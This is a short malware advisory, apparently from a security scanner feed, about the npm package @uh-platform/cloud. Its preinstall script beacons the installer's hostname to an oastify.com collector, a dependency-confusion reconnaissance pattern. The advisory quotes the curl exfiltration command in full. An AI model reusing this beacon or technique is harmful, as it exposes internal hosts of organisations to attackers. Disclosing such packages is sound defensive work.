@uh-platform/cloud@101.0.0

Summary

The package's preinstall lifecycle script (index.js) runs child_process.exec of curl "http://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/", placing the installer's hostname into the DNS label of a request to a Burp Collaborator out-of-band collector on oastify.com. This fires automatically on npm install before any user code runs. The scoped name (@uh-platform/*) combined with the OAST beacon carrying the internal hostname is the standard dependency-confusion reconnaissance pattern: the beacon identifies internal hosts that resolve the scope from the public registry, enabling follow-on targeting. No legitimate function of the package is present; the tarball's only on-install effect is the exfiltration beacon.

Source: amazon-inspector (83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451)